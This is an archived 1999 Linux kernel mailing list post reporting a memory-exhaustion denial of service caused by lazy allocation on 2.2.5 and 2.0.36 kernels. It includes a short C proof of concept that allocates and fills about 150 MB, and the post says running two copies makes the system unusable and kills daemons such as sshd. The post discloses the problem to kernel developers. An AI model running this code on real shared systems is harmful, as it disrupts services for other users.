lkml.org 
[lkml]   [1999]   [Sep]   [2]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
/
Date
From
Subjectlinux memory DOS
                            Hello,
Recently, when playing with memory managment on linux I've found funny
DOS, based on lazy memory allocation in linux kernel.
Namely, let's take following simple code:
______________________________________________
#include <stdlib.h>
#include <stdio.h>
main(){
char* ptr;
long int count,i;
count = 150000000;
printf ("I'll alloc %ld bytes\n",count);
ptr = (char *) malloc(count);
if (ptr) printf("OK\n");
else {
printf("failed\n"); return;
}
for (i=0; i < count; i++) ptr[i] = i % 255;

}
________________________________________

on linux box with 200Mb of total(RAM+swap) memory (tested on 2.2.5 and
2.0.36).
Run it, and you'll see, with /usr/bin/top for example, that size of memory
for this process is growing, when you're writing to the memory.
All other *nix I've tested (Solaris, FreeBSD) behaves in another manner.
They allocate all memory when malloc'ing.
That's OK, lazy memory allocation and new technologies in action :).
But now, let's run 2 programs like this. Both mallocs will be succesfull,
but when memory will over, your linux became very unusable. You can't
start new processes, and some of existing processes will die. You should
reboot it, or run all needed from console (inetd, sshd will die too).

I think this is very nasty DOS, which can appear even in real life (
i.e. as result of working usual userspace programs, not this "exploit").

Please reply to me directly, as I not on the list.

Nikolay.


-
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majordomo@vger.rutgers.edu
Please read the FAQ at http://www.tux.org/lkml/

\
 
 \ /
  Last update: 2005-03-22 13:53    [W:1.263 / U:0.616 seconds]
©2003-2020 Jasper Spaans|hosted at Digital Ocean and TransIP|Read the blog|Advertise on this site